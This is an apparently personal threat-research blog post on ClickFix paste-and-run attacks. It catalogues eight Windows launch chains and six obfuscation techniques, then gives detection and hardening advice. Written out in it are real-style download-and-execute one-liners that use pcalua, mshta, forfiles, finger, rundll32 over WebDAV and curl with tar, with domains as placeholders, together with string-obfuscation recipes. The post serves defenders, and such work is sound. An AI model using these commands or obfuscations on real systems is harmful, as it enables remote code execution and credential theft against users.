Post

ClickFix in 2026: Eight Ways to Start the Same Attack

ClickFix isn't a malware family - it's a grammar with two variables: which binary runs, and how its name is obfuscated. Eight confirmed vectors, reproducible.

ClickFix in 2026: Eight Ways to Start the Same Attack

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

ClickFix isn’t a malware family, it’s a grammar with two independent variables: which binary runs, and how its name is obfuscated. This post breaks down eight confirmed stage-0 binaries (powershell, cmd, mshta, pcalua, forfiles, finger, rundll32, curl+tar) and six obfuscation techniques wrapped around them - every example reproducible, and deliberately stripped of any domains, IPs or hashes. The single best defender takeaway: don’t hunt for explorer.exe as the direct parent of a LOLBIN - match it anywhere in the ancestry, because that’s where the real chains actually sit.

If this is your fleet, do these first:

  • Hunt explorer.exe (or wt.exe/WindowsTerminal.exe) anywhere in a process’s ancestry with a LOLBIN below it, not just as direct parent
  • Turn on PowerShell Script Block Logging (Event ID 4104) - it captures the decoded body regardless of which obfuscation technique was used
  • Apply Application Control to user profiles and temp folders - Essential Eight Maturity Level 1, and it stops staged HTAs and dropped EXEs regardless of file naming

Full hunting summary and obfuscation breakdown below.


I’ve lost count of how many ClickFix chains I’ve pulled apart this year. What finally got me writing was noticing that I kept reversing the same attack over and over - and watching whatever detection covered it need rewriting inside a week, because operators had only changed one of two things.

That’s the thing about ClickFix. It isn’t a malware family. It’s a grammar, and it has two slots: which binary runs, and how that binary’s name is spelled. Operators swap both, independently, constantly. Pin both in a detection rule and you’ve written something with the shelf life of a punnet of strawberries.

So this post is about the first 200 milliseconds. Not the payload, not the C2, not the infrastructure - just the moment a user pastes a command and something spawns. I’m going to walk through the eight stage-0 binaries I can actually confirm, the six obfuscation techniques wrapped around them, and - the bit that surprised me - the parent-process rule I was about to recommend, which turned out to be wrong.

Everything here is deliberately free of domains, IPs and hashes. The tactics are the point; the infrastructure rotates weekly anyway.

Let’s dig in.

The attack at a glance

1
2
3
4
5
6
7
8
1. Lure         Fake CAPTCHA / "verify you are human" / fake update / broken-page fix
2. Clipboard    Populated by script — often BEFORE the instructions render,
                so the user never actually copies anything
3. The paste    Win+R → Ctrl+V → Enter        (the classic)
                Win+X → I  → Ctrl+V → Enter   (Windows Terminal variant)
4. Stage 0      One of eight binaries, name almost always obfuscated
5. Fetch        HTTP(S), WebDAV over @SSL, or TCP/79
6. Execute      Interpreter, dropped EXE, or an ordinal export

Steps 1-3 are the social engineering everyone writes about. Steps 4-5 are where defenders actually get a shot, and where all the variation lives.

How it works

The paste, and the two ways in

The lure convinces someone to run a command they didn’t write. The clever part - and I’ll give credit where it’s due - is that the clipboard is usually populated by JavaScript before the instructions appear. The user is told to press Ctrl+V, so they assume they copied something. They didn’t.

The classic route is Win+R. The newer one, publicly documented in February 2026, is Win+X -> I, which opens Windows Terminal instead of the Run dialog. That’s a meaningful upgrade for the attacker: Terminal blends into normal admin workflow, and it sidesteps controls that specifically target Run-dialog abuse. The process tree looks different too:

1
2
explorer.exe → powershell.exe                                  (Win+R)
explorer.exe → wt.exe → WindowsTerminal.exe → powershell.exe    (Win+X → I)

If your hunting logic assumes Win+R, the second one walks straight past it.

RunMRU: useful, but don’t lean on it

The Run dialog writes what you typed to:

1
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Each entry is a value (a, b, c, …) holding the string with a trailing \1, and MRUList gives the order, most recent first. You can pull it live:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

or read the same key out of the user’s NTUSER.DAT offline.

When it’s there, it’s excellent - you get the literal pasted string. But do not treat its absence as exoneration. Threat actors clear it, and that limitation is well documented in the public work on RunMRU-based detection: no timestamps, only manually entered Run commands, and it can be wiped. I’ve seen plenty of confirmed ClickFix cases with nothing in that key.

Which is exactly why the process tree matters more.

The eight stage-0 binaries

Every one of these is a signed, inbox Windows binary repurposed to do something it was never meant to - the whole set sits inside the broader pattern of LOLBins and living-off-the-land tradecraft, where trusted components become the attacker’s tooling instead of anything they had to bring themselves. Here’s what I can confirm, with the ancestry I actually observed rather than what I assumed:

VectorObserved ancestry
powershell (iex/irm)explorer → powershell
cmd + curlexplorer → cmd
mshta (via a staged file)explorer → cmd → cmd → mshta
pcaluaexplorer → pcalua → powershell and explorer → cmd → pcalua
forfilesexplorer → forfiles → cmd
fingerexplorer → cmd → cmd
rundll32 (ordinal, over WebDAV)explorer → conhost → cmd → rundll32
curl + tar -> dropped EXEexplorer → cmd → cmd → mshta → cmd → tar

pcalua is the one I want to flag, because it’s the least written-about. It’s the Program Compatibility Assistant launcher - signed, on every Windows box, and it happily runs whatever you hand it:

pcalua.exe -a mshta.exe -c https://<domain>/<file>.hta

It’s a documented LOLBIN, but I’ve seen much less about it in a ClickFix context than the evidence warrants. The July variant nests four proxies deep before a single byte moves:

pcalua.exe -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/<domain>/<path>' -Wi Hi"

saps is the Start-Process alias, -Wi Hi is abbreviated -WindowStyle Hidden, and the URL scheme itself is caret-obfuscated. That’s someone who has read detection rules.

forfiles does the same job - proxy execution that breaks the parent chain - with a nice bit of misdirection, since it’s nominally just iterating over notepad.exe:

forfiles.exe /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm <url>)"

finger is my favourite, purely for the audacity of reaching for a 1970s protocol. TCP/79 is rarely inspected and rarely blocked:

cmd /K for /f "delims=@" %o in (',f^i^n^g^e^r <token>@f^i^n^g^e^r^.<domain>') do %o

The response from the finger daemon is the next command, piped straight into cmd. No file touches disk.

rundll32 over WebDAV is the most detection-aware of the set, and it’s the one where several techniques stack:

conhost.exe --headless -- cmd /v:on /c "set s=@SSL&pu^shd \\<domain>!s!\<guid> & ru^ndl^l32 <module>,#1"

Count what’s happening there. conhost --headless suppresses the console window. @SSL - the marker that turns a UNC path into WebDAV-over-HTTPS - is split into a variable so it never appears literally. pushd and rundll32 are broken up with carets. And the module is loaded by ordinal #1 rather than a named export, so there’s no function name to signature. Public reporting through mid-2026 covers this variant well, including the non-DLL file extensions used for the payload.

curl + tar is the quiet one. An archive is downloaded with a .pdf extension, extracted with tar, and the dropped binary runs:

curl.exe -skSL --compressed --create-dirs -o "%LOCALAPPDATA%\<id>\<id>.pdf" https://<domain>/<path>
tar.exe -xf "%LOCALAPPDATA%\<id>\<id>.pdf" -C "%LOCALAPPDATA%\<id>"
"%LOCALAPPDATA%\<id>\<name>.exe"

tar extracting something called .pdf is a lovely high-fidelity signal, because there is no legitimate reason for it.

The obfuscation grammar

This is the half that gets less attention, and it’s where the rule-evasion actually happens. Six techniques, all of which I decoded rather than assumed.

1. Caret insertion. In cmd, ^ is an escape character stripped at parse time. ^m^s^h^t^a^ runs mshta. It defeats any literal string match, and it was the single most common marker across everything I looked at.

2. Delayed-expansion substring reassembly. This is the good one. With cmd /v:on, !var:~start,length! is evaluated at execution time, so a binary name can be assembled from a decoy string. Three grades, in ascending order of nastiness - all of these spell curl:

set a=ttcurltt           →  !a:~2,4!                          block extract
set s=ycyyruyly          →  !s:~1,1!!s:~5,1!!s:~4,1!!s:~7,1!  per-character
set f=ppcyr & set w=yuly →  !f:~2,1!!w:~1,1!!f:~4,1!!w:~2,1!  two-variable interleave

The first still contains the literal string. The second and third don’t contain it anywhere, in any order. This isn’t new - it’s variable index extraction from the DOSfuscation taxonomy Daniel Bohannon catalogued back in 2018 - but it’s alive and well in 2026.

3. Alias construction, the PowerShell equivalent: $x='ur'; set-alias <alias> c$($x)l.

4. Integer array with a rotating offset. An array of integers, decoded by subtracting a constant that changes per sample. I recovered two:

1
2
$a=(5242,5254,5254,5250,5196,5185,5185,...)   # offset 5138 → "http://<domain>/<path>"
$b=(8941,8953,8953,8949,8895,8884,8884,...)   # offset 8837 → same string, different constant

Same technique, different key, so a signature on the decoder constants dies immediately.

5. Char-arithmetic reconstruction. This one made me sit up. Every character is an arithmetic expression:

1
2
3
4
5
6
7
8
9
10
powershell -noprofile -ep bypass -c "(&(Get-Command -Name (-join(([char[]](
  (((13520)-(13447))),    # 73  → I
  (((-13853)+(13963))),   # 110 → n
  (((8260)/(70))),        # 118 → v
  ((((13357)+(17029))+(-30275))),  # 111 → o
  (((4173)/(39))),        # 107 → k
  (((101)*(1))),          # 101 → e
  (((-6309)+(6354))),     # 45  → -
  (((13176)-(13089))),    # 87  → W
  ...

That resolves to Invoke-W... - Invoke-WebRequest. And a sibling sample computes even the Substring() offsets:

1
2
[char]([int]('143180188181177171115171190182...').Substring($_*(3094+5723-8814),(3094+5723-8814))-70)
# chunk size = 3094+5723-8814 = 3; loop 0..16 → "Invoke-expression"

Seventeen characters, seventeen iterations, and not one literal string in the entire command line. I couldn’t find a public write-up of this exact variant - it sits inside the documented command-obfuscation family, so I’d call it an original observation rather than an original technique, but it’s the clearest example I’ve seen of why string matching is a losing game.

6. Extension lying. HTA payloads saved as .pdf, .max, .xam; archives saved as .pdf. Then mshta <file>.max runs it anyway, because mshta doesn’t care about the extension. Neither should your detection.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK from the observed behaviour.

TacticTechniqueATT&CK IDWhat it did here
ExecutionUser Execution: Malicious Copy and PasteT1204.004The entire premise - user pastes an attacker-supplied command
ExecutionPowerShellT1059.001iex(irm …) baseline, and the target of most proxies
ExecutionWindows Command ShellT1059.003cmd /v:on hosts the substring-reassembly obfuscation
Defense EvasionSystem Binary Proxy Execution: MshtaT1218.005Runs staged HTA regardless of file extension
Defense EvasionSystem Binary Proxy Execution: Rundll32T1218.011Ordinal #1 export loaded from a WebDAV share
Defense EvasionIndirect Command ExecutionT1202pcalua, forfiles, conhost --headless break the parent chain
Defense EvasionObfuscated Files or Information: Command ObfuscationT1027.010All six obfuscation techniques above
Defense EvasionMasquerading: Masquerade File TypeT1036.008HTA as .pdf/.max, archive as .pdf
Command and ControlIngress Tool TransferT1105curl, finger, WebDAV fetch of the next stage

Worth noting that T1204.004 - Malicious Copy and Paste - was added to ATT&CK in March 2025 and names ClickFix explicitly in its description. When a technique gets its own sub-technique, it’s stopped being a novelty.

Why this matters

None of this is exotic. Every binary above ships with Windows, most are signed by Microsoft, and none of them needs admin rights to do the job. The attacker’s entire investment is in phrasing - and the user does the hard part.

What that buys them is a foothold that arrives with no attachment, no exploit, no vulnerable software, and often no file on disk until stage two. Where it goes next is the usual spread: infostealers, RATs, loaders that sell access on. But the reason it’s worth writing about the first process specifically is that this is the last point where the chain is still simple. After stage 0 you’re chasing encrypted payloads and rotating infrastructure. At stage 0 you’re looking at a signed Windows binary doing something it has never done on that host before.

That’s a winnable fight, and it doesn’t need new tooling.

What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
Mshta / HTA staging (T1218.005)Application control on HTML applications and scripts in user profiles and temp foldersApplication Control - bites at Maturity Level 1mshta.exe with a non-.hta argument; mshta under explorer ancestry
Indirect execution (T1202)Treat pcalua, forfiles, conhost --headless as never-legitimate on user workstationsApplication Control4688 for these binaries with any child process
PowerShell (T1059.001)Constrained Language Mode; block .ps1 from user-writable pathsApplication ControlScript Block Logging 4104 - logs the decoded body
Command obfuscation (T1027.010)Detect the presence of obfuscation, not its contentNo clean E8 home - say soCaret density; !var:~n,m! splices; arithmetic-only command lines
Rundll32 + WebDAV (T1218.011)Disable the WebClient service where it isn’t neededApplication Control; User Application Hardeningrundll32 with ,#<ordinal>; pushd to a @SSL UNC path
Ingress transfer (T1105)Egress-filter TCP/79; it has no modern business useApplication Control (for the fetched tool); no E8 home for the channel itselfAny outbound 79/tcp; finger.exe executing at all
User paste (T1204.004)User education that names the specific patternNo E8 homeRunMRU entries containing a binary name or URL

Application control is the one that actually stops this, and it’s worth being precise about why. The Essential Eight Maturity Model (November 2023) states at Maturity Level 1 that “application control is applied to user profiles and temporary folders used by operating systems, web browsers and email clients” and that it “restricts the execution of executables, software libraries, scripts, installers, compiled HTML, HTML applications and control panel applets to an organisation-approved set.”

Read that against what ClickFix does. The staged HTA lands in %LOCALAPPDATA% - a user profile folder, and an HTML application. The dropped EXE from the tar chain lands in %LOCALAPPDATA% too. The very first tier of the very first strategy covers both, and it covers them regardless of what the file is named, because application control validates content rather than extension. If you implement one thing off the back of this post, make it that. See Implementing Application Control (November 2023).

Detect by ancestry, not parentage. This is the correction I mentioned at the top, and I nearly published the wrong version. The obvious rule is “alert when explorer.exe spawns a LOLBIN”. Look back at the ancestry table: the LOLBIN’s direct parent is almost never explorer.exe. It sits two to five levels down. A parent == explorer.exe rule misses most real chains.

Match explorer.exe anywhere in the ancestry, with a LOLBIN below it. And handle two wrinkles: the Windows Terminal path inserts wt.exe → WindowsTerminal.exe in between, and explorer.exe sometimes appears as a COM-activated instance (explorer.exe /factory,{GUID} -Embedding) rather than the shell. The ancestry survives every obfuscation technique in this post, because obfuscation changes strings, not process trees. That’s what makes it worth building on.

Kill the WebClient service if you don’t need it. The rundll32 WebDAV variant depends entirely on WebDAV redirector being available to mount \\<domain>@SSL\<path>. Most corporate fleets don’t use WebDAV for anything. Disabling the service removes that whole branch of the grammar, which is a rare case of one config change deleting an entire technique. This sits under User Application Hardening - see Hardening Microsoft Windows 11 Workstations (September 2025) for the broader pattern of turning off unused functionality.

Egress-filter TCP/79. The finger protocol has no legitimate modern use on a corporate network. T1105 does have a canonical Essential Eight answer - Application Control, which stops the fetched tool from running even if the transfer itself succeeds - but blocking the channel itself is pure network architecture with no E8 home. It’s still a one-line firewall rule that removes a delivery channel, and finger.exe executing at all on a workstation is worth an alert on its own.

Hunt for obfuscation as a shape. You will not win by matching decoded content - technique 5 above has no strings in it to match. What you can match is the presence of obfuscation: an unusual density of ^ characters in a command line, !var:~n,m! splice patterns, cmd /v:on on a user workstation, or a command line composed largely of arithmetic. These are cheap to compute and hard to avoid, because the obfuscation has to be there for the trick to work. There’s no clean Essential Eight home for this one, so treat it as detection engineering rather than a control.

Turn on Script Block Logging if you haven’t. Event ID 4104 records the decoded script body. Every PowerShell technique above - alias construction, integer arrays, char arithmetic - resolves to plaintext before execution, and 4104 captures that. It’s the single highest-value log source for this whole class of attack. See Securing PowerShell in the Enterprise (October 2021).

And name the pattern in your user training. Generic “don’t run things you don’t understand” doesn’t land. “No legitimate website will ever ask you to press Win+R or Win+X and paste something” does, because it’s specific, memorable, and always true.

Hunting summary

Straight to your tooling:

  • Ancestry: explorer.exe (or wt.exe / WindowsTerminal.exe) anywhere in the chain, with mshta, pcalua, forfiles, finger, rundll32, curl, tar or conhost below it - at any depth.
  • Event ID 4688: pcalua.exe, forfiles.exe, finger.exe executing at all on a workstation.
  • Event ID 4104: decoded script bodies containing Invoke-Expression, Invoke-WebRequest, Invoke-RestMethod.
  • Command-line shape: caret density above a low threshold; !var:~ present; cmd /v:on on a user endpoint; --headless on conhost.
  • rundll32 with a ,#<number> ordinal, or any pushd to a UNC path containing @SSL.
  • mshta invoked against a file whose extension isn’t .hta.
  • tar extracting a file whose extension isn’t an archive format.
  • Registry: RunMRU values containing a binary name or URL - great when present, absent by design when the actor tidies up.
  • Network: outbound TCP/79; WebDAV egress from hosts with no business need.

Tune these before you deploy them - conhost --headless and cmd /v:on both have legitimate uses in developer environments, and I’d rather you found that out in audit mode than at 3am.

Indicators of compromise

Deliberately none. This post is about tactics, not attribution, and every domain and file path above is a placeholder for exactly that reason.

That’s a considered choice rather than an omission. The infrastructure behind these chains rotates weekly - I’ve watched the same loader appear behind three different delivery vectors in nine days. A hash or domain list would be stale before you finished reading. The command-line shapes and process ancestries above have held for months, so that’s what I’ve given you.

Closing

ClickFix sucks. It’s whack-a-mole - block one technique and another one is running by the end of the day, sometimes the hour. Eight binaries, six obfuscation techniques, two delivery paths, and none of it is because the operators are brilliant. It’s because the shell will run whatever gets pasted into it, and they can burn a variant the second you catch it and still have seven left.

Which is why the best defence here was never going to be a detection rule. It’s a user who looks at “press Win+R and paste this to verify you’re human” and thinks that’s not right. If your people know what sus looks like, most of this never gets past the lure. And if it does get past the lure, the fight is won or lost before that command executes, not after - the tree in this post is how you catch it in that window.

I wrote up what “after” looks like in a recent credential-stealer case. Once the paste runs unimpeded, it’s a short, quiet trip to stolen credentials, and there’s not much for the user to notice along the way - no crash, no popup, nothing that announces it. That’s the whole trade the attacker is making at stage 0: cheap, ugly, and disposable, in exchange for everything after it being quiet.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.


References

  • MITRE ATT&CK - T1204.004, T1218, T1202, T1027.010, T1036.008, T1105
  • The LOLBAS Project - entries for Pcalua, Forfiles, Mshta, Rundll32
  • SigmaHQ - existing community rules for pcalua execution and headless conhost
  • Daniel Bohannon, DOSfuscation - the original taxonomy of cmd.exe obfuscation, including variable index extraction
  • ASD/ACSC - Essential Eight Maturity Model (November 2023); Implementing Application Control (November 2023); Securing PowerShell in the Enterprise (October 2021); Hardening Microsoft Windows 11 Workstations (September 2025)
  • The Windows Terminal (Win+X -> I) delivery variant was publicly documented in February 2026; the rundll32-over-WebDAV variant was covered in several independent write-ups through mid-2026.
This post is licensed under CC BY 4.0 by the author.